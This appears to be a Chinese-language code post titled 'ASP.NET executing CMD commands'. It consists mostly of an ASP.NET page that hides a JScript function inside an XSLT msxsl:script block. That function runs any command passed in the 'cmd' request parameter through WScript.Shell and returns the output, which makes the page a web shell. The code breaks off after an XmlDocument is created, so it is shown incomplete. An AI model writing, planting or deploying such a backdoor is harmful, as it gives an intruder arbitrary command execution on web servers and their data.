ASP.NET执行CMD命令：代码详解

<%@page language="C#"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Xml"%>
<%@ import Namespace="System.Xml.Xsl"%>
<%
string xml=@"<?xml version=""1.0""?><root>test</root>";
string xslt=@"<?xml version='1.0'?>
<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
    <msxsl:script language=""JScript"" implements-prefix=""zcg"">
    <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
    <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
    <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
    <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
        <![CDATA[function xml(){
        var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
        var command = Request.Item['cmd'];
        var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
        var OutStream = r.StdOut;
        var Str = """";
        while (!OutStream.atEndOfStream) {
            Str = Str + OutStream.readAll();
            }
        Response.Write(""<pre>""+Str+""</pre>"");
        }]]>
    </msxsl:script>
<xsl:template match=""/root"">
    <xsl:value-of select=""zcg:xml()""/>
</xsl:template>
</xsl:stylesheet>";
XmlDocument xmldoc=new XmlDocument();